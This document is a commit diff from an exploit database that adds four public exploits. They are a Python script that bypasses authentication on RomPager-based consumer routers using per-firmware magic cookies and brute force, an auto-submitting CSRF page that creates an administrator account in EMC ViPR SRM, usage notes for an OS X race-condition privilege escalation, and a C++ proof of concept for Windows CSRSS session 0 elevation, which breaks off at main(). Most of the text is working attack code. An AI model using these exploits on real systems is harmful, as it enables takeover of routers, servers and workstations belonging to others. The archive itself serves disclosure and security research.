DB: 2016-04-28

4 new exploits

EMC ViPR SRM - Cross-Site Request Forgery
Multiple Vendors (RomPager <= 4.34) - Misfortune Cookie Router Authentication Bypass
Windows - CSRSS BaseSrvCheckVDM Session 0 Process Creation Privilege Escalation (MS16-048)
Mach Race OS X Local Privilege Escalation Exploit
This commit is contained in:
Offensive Security 2016-04-28 05:03:01 +00:00
parent fe5081847e
commit 3ca3a35ce6
5 changed files with 712 additions and 0 deletions

View file

@ -35949,3 +35949,7 @@ id,file,description,date,author,platform,type,port
39735,platforms/windows/remote/39735.rb,"Advantech WebAccess Dashboard Viewer Arbitrary File Upload",2016-04-26,metasploit,windows,remote,80
39736,platforms/linux/remote/39736.txt,"libgd 2.1.1 - Signedness Heap Overflow",2016-04-26,"Hans Jerry Illikainen",linux,remote,0
39737,platforms/php/webapps/39737.txt,"ImpressCMS 1.3.9 - SQL Injection",2016-04-26,"Manuel García Cárdenas",php,webapps,80
39738,platforms/multiple/webapps/39738.html,"EMC ViPR SRM - Cross-Site Request Forgery",2016-04-27,"Han Sahin",multiple,webapps,58080
39739,platforms/hardware/webapps/39739.py,"Multiple Vendors (RomPager <= 4.34) - Misfortune Cookie Router Authentication Bypass",2016-04-27,"Milad Doorbash",hardware,webapps,0
39740,platforms/windows/dos/39740.cpp,"Windows - CSRSS BaseSrvCheckVDM Session 0 Process Creation Privilege Escalation (MS16-048)",2016-04-27,"Google Security Research",windows,dos,0
39741,platforms/osx/local/39741.txt,"Mach Race OS X Local Privilege Escalation Exploit",2016-04-27,fG!,osx,local,0

Can't render this file because it is too large.

View file

@ -0,0 +1,248 @@
# Title: Misfortune Cookie Exploit (RomPager <= 4.34) router authentication remover
# Date: 17/4/2016
# CVE: CVE-2015-9222 (http://mis.fortunecook.ie)
# Vendors: ZyXEL,TP-Link,D-Link,Nilox,Billion,ZTE,AirLive,...
# Vulnerable models: http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf
# Versions affected: RomPager <= 4.34 (specifically 4.07)
# Tested on : firmwares which are set as tested in the targets list
# Category: Remote Exploit
# Usage: ./exploit.py url
# Example: python exploit.py http://192.168.1.1 , python exploit.py https://192.168.1.1:3040
# Author: Milad Doorbash
# Email: milad.doorbash@gmail.com
# Social: @doorbash
# Blog: http://doorbash.ir
# Many Thanks to :
# Cawan Chui (http://embedsec.systems/embedded-device-security/2015/02/16/Misfortune-Cookie-CVE-2014-9222-Demystified.html)
# Piotr Bania (http://piotrbania.com/all/articles/tplink_patch)
# Grant Willcox (https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/10/porting-the-misfortune-cookie-exploit-whitepaperpdf)
# Chan (http://scz.617.cn/misc/201504141114.txt -- http://www.nsfocus.com.cn/upload/contents/2015/09/2015_09181715274142.pdf)
# Disclaimer :
# This exploit is for testing and educational purposes only.Any other usage for this code is not allowed.
# Author takes no responsibility for any actions with provided informations or codes.
# Description :
# Misfortune Cookie is a critical vulnerability that allows an intruder to remotely
# take over an Internet router and use it to attack home and business networks.With a few magic
# cookies added to your request you bypass any authentication and browse the configuration
# interface as admin, from any open port.
import requests
import sys
import time
MODE_TEST = 100000
MODE_BRUTE_FORCE = 100001
if len(sys.argv) == 1:
print "usage: python " + sys.argv[0] + " url [enable]"
print "example: python exploit.py http://192.168.1.1 , python exploit.py https://192.168.1.1:3040"
exit()
url = str(sys.argv[1])
auth_byte = '\x00'
s = requests.Session()
if len(sys.argv) == 3:
if str(sys.argv[2]) == 'enable':
auth_byte = '\x01' # enable authenticaion again
else:
print "usage: python " + sys.argv[0] + " url [enable]"
exit()
targets = [
["Azmoon AZ-D140W 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1",107367693,13], # 0x803D5A79 # tested
["Billion BiPAC 5102S Av2.7.0.23 (UE0.B1C)",107369694,13], # 0x8032204d # ----------
["Billion BiPAC 5102S Bv2.7.0.23 (UE0.B1C)",107369694,13], # 0x8032204d # ----------
["Billion BiPAC 5200 2.11.84.0(UE2.C2)3.11.11.6",107369545,9], # 0x803ec2ad # ----------
["Billion BiPAC 5200 2_11_62_2_ UE0.C2D_3_10_16_0",107371218,21], # 0x803c53e5 # ----------
["Billion BiPAC 5200A 2_10_5 _0(RE0.C2)3_6_0_0",107366366,25], # 0x8038a6e1 # ----------
["Billion BiPAC 5200A 2_11_38_0 (RE0.C29)3_10_5_0",107371453,9], # 0x803b3a51 # ----------
["Billion BiPAC 5200GR4 2.11.91.0(RE2.C29)3.11.11.52",107367690,21], # 0x803D8A51 # tested
["Billion BiPAC 5200S 2.10.5.0 (UE0.C2C) 3.6.0.0",107368270,1], # 0x8034b109 # ----------
["Billion BiPAC 5200SRD 2.12.17.0_UE2.C3_3.12.17.0",107371378,37], # 0x8040587d # ----------
["Billion BiPAC 5200SRD 2_11_62_2(UE0.C3D)3_11_11_22",107371218,13], # 0x803c49d5 # ----------
["D-Link DSL-2520U Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL",107368902,25], # 0x803fea01 # tested
["D-Link DSL-2600U Z1 DSL-2600U HWZ1",107366496,13], # 0x8040637d # ----------
["D-Link DSL-2600U Z2 V1.08_ras",107360133,20], # 0x803389B0 # ----------
["TP-Link TD-8616 V2 TD-8616_v2_080513",107371483,21], # 0x80397055 # ----------
["TP-Link TD-8816 V4 TD-8816_100528_Russia",107369790,17], # 0x803ae0b1 # ----------
["TP-Link TD-8816 V4 TD-8816_V4_100524",107369790,17], # 0x803ae0b1 # ----------
["TP-Link TD-8816 V5 TD-8816_100528_Russia",107369790,17], # 0x803ae0b1 # ----------
["TP-Link TD-8816 V5 TD-8816_V5_100524",107369790,17], # 0x803ae0b1 # tested
["TP-Link TD-8816 V5 TD-8816_V5_100903",107369790,17], # 0x803ae0b1 # ----------
["TP-Link TD-8816 V6 TD-8816_V6_100907",107371426,17], # 0x803c6e09 # ----------
["TP-Link TD-8816 V7 TD-8816_V7_111103",107371161,1], # 0x803e1bd5 # ----------
["TP-Link TD-8816 V7 TD-8816_V7_130204",107370211,5], # 0x80400c85 # ----------
["TP-Link TD-8817 V5 TD-8817_V5_100524",107369790,17], # 0x803ae0b1 # ----------
["TP-Link TD-8817 V5 TD-8817_V5_100702_TR",107369790,17], # 0x803ae0b1 # ----------
["TP-Link TD-8817 V5 TD-8817_V5_100903",107369790,17], # 0x803ae0b1 # ----------
["TP-Link TD-8817 V6 TD-8817_V6_100907",107369788,1], # 0x803b6e09 # ----------
["TP-Link TD-8817 V6 TD-8817_V6_101221",107369788,1], # 0x803b6e09 # ----------
["TP-Link TD-8817 V7 TD-8817_V7_110826",107369522,25], # 0x803d1bd5 # ----------
["TP-Link TD-8817 V7 TD-8817_V7_130217",107369316,21], # 0x80407625 # ----------
["TP-Link TD-8817 V7 TD-8817_v7_120509",107369321,9], # 0x803fbcc5 # tested
["TP-Link TD-8817 V8 TD-8817_V8_140311",107351277,20], # 0x8024E148 # Grant Willcox
["TP-Link TD-8820 V3 TD-8820_V3_091223",107369768,17], # 0x80397E69 # Chan
["TP-Link TD-8840T V1 TD-8840T_080520",107369845,5], # 0x80387055 # ----------
["TP-Link TD-8840T V2 TD-8840T_V2_100525",107369790,17], # 0x803ae0b1 # tested
["TP-Link TD-8840T V2 TD-8840T_V2_100702_TR",107369790,17], # 0x803ae0b1 # ----------
["TP-Link TD-8840T V2 TD-8840T_v2_090609",107369570,1], # 0x803c65d5 # ----------
["TP-Link TD-8840T V3 TD-8840T_V3_101208",107369766,17], #0x803c3e89 # tested
["TP-Link TD-8840T V3 TD-8840T_V3_110221",107369764,5], # 0x803d1a09 # ----------
["TP-Link TD-8840T V3 TD-8840T_V3_120531",107369688,17], # 0x803fed35 # ----------
["TP-Link TD-W8101G V1 TD-W8101G_090107",107367772,37], # 0x803bf701 # ----------
["TP-Link TD-W8101G V1 TD-W8101G_090107",107367808,21], # 0x803e5b6d # ----------
["TP-Link TD-W8101G V2 TD-W8101G_V2_100819",107367751,21], # 0x803dc701 # ----------
["TP-Link TD-W8101G V2 TD-W8101G_V2_101015_TR",107367749,13], # 0x803e1829 # ----------
["TP-Link TD-W8101G V2 TD-W8101G_V2_101101",107367749,13], # 0x803e1829 # ----------
["TP-Link TD-W8101G V3 TD-W8101G_V3_110119",107367765,25], # 0x804bb941 # ----------
["TP-Link TD-W8101G V3 TD-W8101G_V3_120213",107367052,25], # 0x804e1ff9 # ----------
["TP-Link TD-W8101G V3 TD-W8101G_V3_120604",107365835,1], # 0x804f16a9 # ----------
["TP-Link TD-W8151N V3 TD-W8151N_V3_120530",107353867,24], # 0x8034F3A4 # tested
["TP-Link TD-W8901G V1 TD-W8901G_080522",107367787,21], # 0x803AB30D # Piotr Bania
["TP-Link TD-W8901G V1,2 TD-W8901G_080522",107368013,5], # 0x803AB30D # ----------
["TP-Link TD-W8901G V2 TD-W8901G_090113_Turkish",107368013,5], # 0x803AB30D # ----------
["TP-Link TD-W8901G V3 TD-W8901G(UK)_V3_140512",107367854,9], # 0x803cf335 # tested
["TP-Link TD-W8901G V3 TD-W8901G_V3_100603",107367751,21], # 0x803DC701 # chan
["TP-Link TD-W8901G V3 TD-W8901G_V3_100702_TR",107367751,21], # 0x803DC701 # tested
["TP-Link TD-W8901G V3 TD-W8901G_V3_100901",107367749,13], # 0x803E1829 # tested
["TP-Link TD-W8901G V6 TD-W8901G_V6_110119",107367765,25], # 0x804BB941 # Chan
["TP-Link TD-W8901G V6 TD-W8901G_V6_110915",107367682,21], # 0x804D7CB9 # Chan
["TP-Link TD-W8901G V6 TD-W8901G_V6_120418",107365835,1], # 0x804F16A9 # ----------
["TP-Link TD-W8901G V6 TD-W8901G_V6_120213",107367052,25], # 0x804E1FF9 # ----------
["TP-Link TD-W8901GB V3 TD-W8901GB_V3_100727",107367756,13], # 0x803dfbe9 # ----------
["TP-Link TD-W8901GB V3 TD-W8901GB_V3_100820",107369393,21], # 0x803f1719 # ----------
["TP-Link TD-W8901N V1 TD-W8901N v1_111211",107353880,0], # 0x8034FF94 # cawan Chui
["TP-Link TD-W8951ND V1 TD-TD-W8951ND_V1_101124,100723,100728",107369839,25], # 0x803d2d61 # tested
["TP-Link TD-W8951ND V1 TD-TD-W8951ND_V1_110907",107369876,13], # 0x803d6ef9 # ----------
["TP-Link TD-W8951ND V1 TD-W8951ND_V1_111125",107369876,13], # 0x803d6ef9 # ----------
["TP-Link TD-W8951ND V3 TD-W8951ND_V3.0_110729_FI",107366743,21], # 0x804ef189 # ----------
["TP-Link TD-W8951ND V3 TD-W8951ND_V3_110721",107366743,21], # 0x804ee049 # ----------
["TP-Link TD-W8951ND V3 TD-W8951ND_V3_20110729_FI",107366743,21], # 0x804ef189 # ----------
["TP-Link TD-W8951ND V4 TD-W8951ND_V4_120511",107364759,25], # 0x80523979 # tested
["TP-Link TD-W8951ND V4 TD-W8951ND_V4_120607",107364759,13], # 0x80524A91 # tested
["TP-Link TD-W8951ND V4 TD-W8951ND_v4_120912_FL",107364760,21], # 0x80523859 # tested
["TP-Link TD-W8961NB V1 TD-W8961NB_V1_110107",107369844,17], # 0x803de3f1 # tested
["TP-Link TD-W8961NB V1 TD-W8961NB_V1_110519",107369844,17], # 0x803de3f1 # ----------
["TP-Link TD-W8961NB V2 TD-W8961NB_V2_120319",107367629,21], # 0x80531859 # ----------
["TP-Link TD-W8961NB V2 TD-W8961NB_V2_120823",107366421,13], # 0x80542e59 # ----------
["TP-Link TD-W8961ND V1 TD-W8961ND_V1_100722,101122",107369839,25], # 0x803D2D61 # tested
["TP-Link TD-W8961ND V1 TD-W8961ND_V1_101022_TR",107369839,25], # 0x803D2D61 # ----------
["TP-Link TD-W8961ND V1 TD-W8961ND_V1_111125",107369876,13], # 0x803D6EF9 # ----------
["TP-Link TD-W8961ND V2 TD-W8961ND_V2_120427",107364732,25], # 0x8052e0e9 # ----------
["TP-Link TD-W8961ND V2 TD-W8961ND_V2_120710_UK",107364771,37], # 0x80523AA9 # ----------
["TP-Link TD-W8961ND V2 TD-W8961ND_V2_120723_FI",107364762,29], # 0x8052B6B1 # ----------
["TP-Link TD-W8961ND V3 TD-W8961ND_V3_120524,120808",107353880,0], # 0x803605B4 # ----------
["TP-Link TD-W8961ND V3 TD-W8961ND_V3_120830",107353414,36], # 0x803605B4 # ----------
["ZyXEL P-660R-T3 V3 3.40(BOQ.0)C0",107369567,21], # 0x803db071 # tested
["ZyXEL P-660RU-T3 V3 3.40(BJR.0)C0",107369567,21], # 0x803db071 # ----------
# *---------- means data for this firmware is obtained from other tested firmwares.
# if you tested on your devices report to me so i can change them to tested state.
# don't forget to mention your device model and full firmware version in your reports.
# I could not gather information for every vulnerable firmwares since some vendors has removed
# vulnerable/old ones from their websites or add some unknown-yet security mechanisms to the them.
# if you want to add missing firmwares data to list you can do it by reading blog posts
# mentioned in "Many thanks to" part at the beginning.Btw please don't hesitate to contact me
# for any question or further information.
]
def request(num,n,data):
try:
print "\nConnecting to: " + url + "\n"
s.headers.update({"Cookie":"C" + str(num) + "=" + "B"* n + data + ";"})
r = s.get(url)
print str(r.status_code) + "\n"
for i in r.headers:
print i + ": " + r.headers[i]
return [r.status_code,r.text]
except Exception, e:
return 1000
def printMenu():
print """
__ __ _ __ _
| \/ (_)___ / _| ___ _ __| |_ _ _ _ __ ___
| |\/| | / __| |_ / _ \| '__| __| | | | '_ \ / _ \
| | | | \__ \ _| (_) | | | |_| |_| | | | | __/
|_| |_|_|___/_| \___/|_| \__|\__,_|_| |_|\___|
____ _ _ _____ _ _ _
/ ___|___ ___ | | _(_) ___ | ____|_ ___ __ | | ___ (_) |_
| | / _ \ / _ \| |/ / |/ _ \ | _| \ \/ / '_ \| |/ _ \| | __|
| |__| (_) | (_) | <| | __/ | |___ > <| |_) | | (_) | | |_
\____\___/ \___/|_|\_\_|\___| |_____/_/\_\ .__/|_|\___/|_|\__|
|_|
----------------------------------------------------------------------------
"""
for k,i in enumerate(targets):
print str(k+1) + "- " + i[0]
print """
0- Not sure just try them all! (may cause reboot)
T- Test misfortune cookie vulnerablity against target
B- BruteForce to find auth-remover cookie (may cause reboot)
"""
c = 0
while True:
selection = raw_input("select a target: ")
if selection == "T":
return MODE_TEST
elif selection == "B":
return MODE_BRUTE_FORCE
c = int(selection)
if c <= len(targets):
break
else:
print "bad input try again"
return c - 1
def bruteforce():
for i in range(107364000,107380000):
for j in range(0,40):
print "testing " + str(i) + " , " + str(j)
result = request(i,j,"\x00")[0]
if result <= 302:
print "YEAHHH!!!!"
print str(i) + " , " + str(j) + " is the answer!"
return
elif result == 1000:
time.sleep(60)
def exploit():
c = printMenu()
if c < 0:
for k,i in enumerate(targets):
print "testing #" + str(k+1) + " ..."
result = request(i[1],i[2],auth_byte)[0]
if result == 1000:
print "\n[!] Error. maybe router crashed by sending wrong cookie or it's your connection problem.waiting 60 seconds for router to reboot"
time.sleep(60)
elif result <= 302:
print "\n[!] Seems good but check " + url + " using your browser to verify if authentication is disabled or not."
break # some routers always return 200 (for custom login page). so maybe we should comment this line
else:
print "\n[!] Failed."
else:
if c == MODE_TEST:
if "HelloWorld" in request(107373883,0,"/HelloWorld")[1]:
print "\n[!] Target is vulnerable"
else:
print "\n[!] Target is not vulnerable"
elif c == MODE_BRUTE_FORCE:
bruteforce()
elif request(targets[c][1],targets[c][2],auth_byte)[0] > 302:
print "\n[!] Failed."
else:
print "\n[!] Seems good but check " + url + " using your browser to verify if authentication is disabled or not."
exploit()

View file

@ -0,0 +1,64 @@
<!--
EMC M&R (Watch4net) lacks Cross-Site Request Forgery protection
Abstract
It was discovered that EMC M&R (Watch4net) does not protect against Cross-Site Request Forgery (CSRF) attacks. A successful CSRF attack can compromise end user data and may allow an attacker to perform an account hijack. If the targeted end user is the administrator account, this results in a full compromise of Watch4net.
Affected versions
Versions of EMC ViPR SRM prior to version 3.7 are affected by these vulnerabilities.
See also
- ESA-2016-039
- CVE-2016-0891
Fix
EMC released 34247_ViPR-SRM to fix these vulnerabilities. Please note that this fix is only available for registered EMC Online Support customers.
Introduction
EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard. EMC M&R is a core embedded software technology existing in EMC ViPR, ViPR SRM and Service Assurance Suite.
EMC M&R (Watch4net) does not protect against Cross-Site Request Forgery (CSRF) attacks. A successful CSRF attack can compromise end user data and may allow an attacker to perform an account hijack. If the targeted end user is the administrator account, this results in a full compromise of Watch4net.
Details
Cross-Site Request Forgery (CSRF) is an attack, which forces an end user to execute unwanted actions on a web application to which the targeted user is currently authenticated. With a little help of social engineering an attacker may trick the users of a web application into executing actions (requests) of the attacker's choosing.
The following proof of concept will create a new user named CSRF with password set to 1 in Watch4net - provided that the victim is logged in with an administrator account.
-->
<html>
<body>
<form action="http://<target>:58080/APG/admin/form" method="POST">
<input type="hidden" name="form&#45;id" value="UserForm" />
<input type="hidden" name="ident" value="" />
<input type="hidden" name="old" value="" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="password" value="1" />
<input type="hidden" name="confirm" value="1" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="first&#45;name" value="Han" />
<input type="hidden" name="last&#45;name" value="Sahin" />
<input type="hidden" name="email" value="attacker&#64;example&#46;com" />
<input type="hidden" name="role" value="user" />
<input type="hidden" name="profile" value="0" />
<input type="hidden" name="user&#45;roles" value="5" />
<input type="hidden" name="user&#45;roles" value="1" />
<input type="hidden" name="user&#45;roles" value="3" />
<input type="hidden" name="user&#45;roles" value="4" />
<input type="hidden" name="user&#45;roles" value="2" />
<input type="hidden" name="user&#45;roles" value="6" />
<input type="hidden" name="filter" value="" />
<input type="hidden" name="custom" value="true" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

42
platforms/osx/local/39741.txt Executable file
View file

@ -0,0 +1,42 @@
Source: https://github.com/gdbinit/mach_race
Mach Race OS X Local Privilege Escalation Exploit
(c) fG! 2015, 2016, reverser@put.as - https://reverse.put.as
A SUID, SIP, and binary entitlements universal OS X exploit (CVE-2016-1757).
Usage against a SUID binary:
./mach_race_server /bin/ps _compat_mode
for i in seq 0 1000000; do ./mach_race_client /bin/ps; done
Against an entitled binary to bypass SIP:
./mach_race_server /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove _geteuid
for i in seq 0 1000000; do ./mach_race_client /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove; done
Note: because the service name is not modified you can't chain this exploit from user to root and then use it to bypass SIP since bootstrap_register2 will fail the second time (service is already registered with launchd from the first run). The solution is to add a parameter to use a different service name for example.
Note2: there's no need to make this into two separate apps, a single binary works, you just need to fork a server and client.
References:
https://reverse.put.as/wp-content/uploads/2016/04/SyScan360_SG_2016_-_Memory_Corruption_is_for_wussies.pdf
http://googleprojectzero.blogspot.pt/2016/03/race-you-to-kernel.html
Tested against Mavericks 10.10.5, Yosemite 10.10.5, El Capitan 10.11.2 and 10.11.3.
Fixed in El Capitan 10.11.4.
Should work with all OS X versions (depends if bootstrap_register2 exists on older versions).
Alternative implementation with bootstrap_create_server possible for older versions.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39741.zip

354
platforms/windows/dos/39740.cpp Executable file
View file

@ -0,0 +1,354 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=692
Windows: CSRSS BaseSrvCheckVDM Session 0 Process Creation EoP
Platform: Windows 8.1, not tested on Windows 10 or 7
Class: Elevation of Privilege
Summary:
The CSRSS BaseSrv RPC call BaseSrvCheckVDM allows you to create a new process with the anonymous token, which results on a new process in session 0 which can be abused to elevate privileges.
Description:
CSRSS/basesrv.dll has a RPC method, BaseSrvCheckVDM, which checks whether the Virtual DOS Machine is installed and enabled. On Windows 8 and above the VDM is off by default (on 32 bit Windows) so if disabled CSRSS tries to be helpful and spawns a process on the desktop which asks the user to install the VDM. The token used for the new process comes from the impersonation token of the caller. So by impersonating the anonymous token before the call to CsrClientCallServer we can get CSRSS to use that as the primary token. As the anonymous token has a Session ID of 0 this means it creates a new process in session 0 (because nothing else changes the session ID).
Now this in itself wouldnt typically be exploitable, there are many places with similar behaviour (for example Win32_Process::Create in WMI) but most places impersonate the primary token its going to set over the call to CreateProcessAsUser. If it did this then for most scenarios the call to NtCreateUserProcess would fail with STATUS_ACCESS_DENIED as the anonymous token cant access much in the way of files, unless of course the default configuration is changed to add the Everyone group to the token.
However in this case the code in BaseSrvLaunchProcess instead calls a method, BasepImpersonateClientProcess which opens the calling processs primary token, creates an impersonation token and impersonates that. This means that the call is created with the security context of the current user which _can_ access arbitrary files. So BaseSrvLaunchProcess does roughly:
CsrImpersonateClient(0);
OpenThreadToken(..., &hToken);
DuplicateTokenEx(hToken, , TokenPrimary, &hPrimaryToken); <- The anonymous token
RevertToSelf();
OpenProcessToken(hCallerProcess, &hToken);
DuplicateToken(hToken, SecurityImpersonation, &hImpToken);
SetThreadToken(hThread, hImpTOken); <- This impersonates the user
NtCreateUserProcess(...); <- Succeeds, creates process as Anonymous Logon in Session 0.
Of course this new process in session 0 cant do a lot due to it being run as the Anonymous Logon user, and in fact will die pretty quickly during initialization. However we can at least get a handle to it before it dies. At least if you have multiple CPUs it should be possible to win the race to open it and suspend the process before death (in fact for later exploitation you might not need it alive at all, just a handle is sufficient). Now you could patch out the LDR calls and allow the process to initialize, but it would be more useful to have a process as the current user with the session ID 0.
One way we can do this is exploiting CreateProcessWithLogonW. If we use the LOGON_NETCREDENTIALS_ONLY flag then seclogon will create a new process based on the current callers token (which is the current user) but the service takes a Process ID value which indicates the parent process. Its the parent processs session ID which is used to determine what session the new token should really be in. So if we call seclogon, passing the PID of the anonymous token process but call it from the current user well get an arbitrary process created with the current user token but in session 0. Theres some fun to do with default DACLs and the like to make this all work but thats an implementation detail.
The final question is is this useful? Session 0 has a special place in the security model on Windows, even more so since Vista with Session 0 isolation. For example because were in session 0 we can drop arbitrarily named Sections and Symbolic Links in \BaseNamedObjects which normally requires SeCreateGlobalPrivilege this might allow a low privilege user to interact with system services which no longer expect this kind of attack vector. Also theres probably other places which check for Session ID 0 to make some sort of trust decision.
Note even though the VDM isnt present on x64 builds of Windows these CSRSS RPC calls still seem to exist and so should be vulnerable.
From a fixing perspective I guess CSRSS should consistently use the same token for the primary and the impersonation. In the more general case I wonder if the anonymous token should have its Session ID set to the callers session ID when it impersonates to to prevent this scenario in the first place, but I bet theres some difficult edge cases on that.
Proof of Concept:
Ive provided a PoC as a C++ source code file. You need to compile it with VC++. This must be run on Windows 8.1 32 bit version as I abuse the existing code in CreateProcess to call CSRSS when trying to create a 16bit DOS executable. This is rather than going to the effort of reverse engineering the call. However if you did that it should work in a similar way on 64 bit windows. Also you MUST run it on a multi-processor system, you might not be able to win the race on a single core system, but Ive not verified that. If it seems to get stuck and no new process is created it might have lost the race, try it again. Also try rebooting, Ive observed the control panel sometimes not being created for some reason which a reboot tends to fix.
1) Compile the C++ source code file.
2) Execute the poc executable as a normal user. This will not work from low IL.
3) If successful a copy of notepad should be created (suspended though as itll crash trying to access the Window Station if it starts). You can create a process which will survive to add stuff to things like BaseNamedObjects but Ive not provided such an executable.
Expected Result:
The call to BaseSrvCheckVDM should fail to create the control panel process.
Observed Result:
A new copy of notepad is created suspended. You can observe that it runs as the current users token but in Session ID 0.
*/
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <sddl.h>
extern "C" {
NTSTATUS NTAPI NtGetNextProcess(
HANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
ULONG HandleAttributes,
ULONG Flags,
PHANDLE NewProcessHandle);
NTSTATUS NTAPI NtSuspendProcess(HANDLE ProcessHandle);
}
HANDLE g_hProcess = nullptr;
void SetProcessId(DWORD pid) {
__asm {
mov edx, [pid];
mov eax, fs:[0x18]
mov [eax+0x20], edx
}
}
DWORD CALLBACK CaptureAndSuspendProcess(LPVOID)
{
ImpersonateAnonymousToken(GetCurrentThread());
while (NtGetNextProcess(nullptr, MAXIMUM_ALLOWED, 0, 0, &g_hProcess) != 0)
{
}
NTSTATUS status = NtSuspendProcess(g_hProcess);
printf("Suspended process: %08X %p %d\n", status, g_hProcess, GetProcessId(g_hProcess));
RevertToSelf();
SetProcessId(GetProcessId(g_hProcess));
WCHAR cmdline[] = L"notepad.exe";
STARTUPINFO startInfo = {};
PROCESS_INFORMATION procInfo = {};
startInfo.cb = sizeof(startInfo);
if (CreateProcessWithLogonW(L"user", L"domain", L"password", LOGON_NETCREDENTIALS_ONLY,
nullptr, cmdline, CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo))
{
printf("Created process %d\n", procInfo.dwProcessId);
}
else
{
printf("Create error: %d\n", GetLastError());
}
TerminateProcess(g_hProcess, 0);
ExitProcess(0);
return 0;
}
HANDLE GetAnonymousToken()
{
ImpersonateAnonymousToken(GetCurrentThread());
HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken);
RevertToSelf();
PSECURITY_DESCRIPTOR pSD;
ULONG sd_length;
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;;GA;;;WD)(A;;GA;;;AN)", SDDL_REVISION_1, &pSD, &sd_length))
{
printf("Error converting SDDL: %d\n", GetLastError());
exit(1);
}
TOKEN_DEFAULT_DACL dacl;
BOOL bPresent;
BOOL bDefaulted;
PACL pDACL;
GetSecurityDescriptorDacl(pSD, &bPresent, &pDACL, &bDefaulted);
dacl.DefaultDacl = pDACL;
if (!SetTokenInformation(hToken, TokenDefaultDacl, &dacl, sizeof(dacl)))
{
printf("Error setting default DACL: %d\n", GetLastError());
exit(1);
}
return hToken;
}
#define PtrFromRva( base, rva ) ( ( ( PBYTE ) base ) + rva )
/*++
Routine Description:
Replace the function pointer in a module's IAT.
Parameters:
Module - Module to use IAT from.
ImportedModuleName - Name of imported DLL from which
function is imported.
ImportedProcName - Name of imported function.
AlternateProc - Function to be written to IAT.
OldProc - Original function.
Return Value:
S_OK on success.
(any HRESULT) on failure.
--*/
HRESULT PatchIat(
__in HMODULE Module,
__in PSTR ImportedModuleName,
__in PSTR ImportedProcName,
__in PVOID AlternateProc,
__out_opt PVOID *OldProc
)
{
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Module;
PIMAGE_NT_HEADERS NtHeader;
PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
UINT Index;
NtHeader = (PIMAGE_NT_HEADERS)
PtrFromRva(DosHeader, DosHeader->e_lfanew);
if (IMAGE_NT_SIGNATURE != NtHeader->Signature)
{
return HRESULT_FROM_WIN32(ERROR_BAD_EXE_FORMAT);
}
ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)
PtrFromRva(DosHeader,
NtHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//
// Iterate over import descriptors/DLLs.
//
for (Index = 0;
ImportDescriptor[Index].Characteristics != 0;
Index++)
{
PSTR dllName = (PSTR)
PtrFromRva(DosHeader, ImportDescriptor[Index].Name);
if (0 == _strcmpi(dllName, ImportedModuleName))
{
//
// This the DLL we are after.
//
PIMAGE_THUNK_DATA Thunk;
PIMAGE_THUNK_DATA OrigThunk;
if (!ImportDescriptor[Index].FirstThunk ||
!ImportDescriptor[Index].OriginalFirstThunk)
{
return E_INVALIDARG;
}
Thunk = (PIMAGE_THUNK_DATA)
PtrFromRva(DosHeader,
ImportDescriptor[Index].FirstThunk);
OrigThunk = (PIMAGE_THUNK_DATA)
PtrFromRva(DosHeader,
ImportDescriptor[Index].OriginalFirstThunk);
for (; OrigThunk->u1.Function != NULL;
OrigThunk++, Thunk++)
{
if (OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
//
// Ordinal import - we can handle named imports
// ony, so skip it.
//
continue;
}
PIMAGE_IMPORT_BY_NAME import = (PIMAGE_IMPORT_BY_NAME)
PtrFromRva(DosHeader, OrigThunk->u1.AddressOfData);
if (0 == strcmp(ImportedProcName,
(char*)import->Name))
{
//
// Proc found, patch it.
//
DWORD junk;
MEMORY_BASIC_INFORMATION thunkMemInfo;
//
// Make page writable.
//
VirtualQuery(
Thunk,
&thunkMemInfo,
sizeof(MEMORY_BASIC_INFORMATION));
if (!VirtualProtect(
thunkMemInfo.BaseAddress,
thunkMemInfo.RegionSize,
PAGE_EXECUTE_READWRITE,
&thunkMemInfo.Protect))
{
return HRESULT_FROM_WIN32(GetLastError());
}
//
// Replace function pointers (non-atomically).
//
if (OldProc)
{
*OldProc = (PVOID)(DWORD_PTR)
Thunk->u1.Function;
}
#ifdef _WIN64
Thunk->u1.Function = (ULONGLONG)(DWORD_PTR)
AlternateProc;
#else
Thunk->u1.Function = (DWORD)(DWORD_PTR)
AlternateProc;
#endif
//
// Restore page protection.
//
if (!VirtualProtect(
thunkMemInfo.BaseAddress,
thunkMemInfo.RegionSize,
thunkMemInfo.Protect,
&junk))
{
return HRESULT_FROM_WIN32(GetLastError());
}
return S_OK;
}
}
//
// Import not found.
//
return HRESULT_FROM_WIN32(ERROR_PROC_NOT_FOUND);
}
}
//
// DLL not found.
//
return HRESULT_FROM_WIN32(ERROR_MOD_NOT_FOUND);
}
typedef void* (__stdcall *fCsrClientCallServer)(void* a, void* b, DWORD c, void* d);
fCsrClientCallServer g_pCsgClientCallServer;
void* __stdcall CsrClientCallServerHook(void* a, void* b, DWORD c, void* d)
{
void* ret = nullptr;
printf("In ClientCall hook %08X\n", c);
if (c == 0x10010005)
{
printf("Set Anonymous Token: %d\n", SetThreadToken(nullptr, GetAnonymousToken()));
}
ret = g_pCsgClientCallServer(a, b, c, d);
RevertToSelf();
return ret;
}
int main(int argc, char** argv)
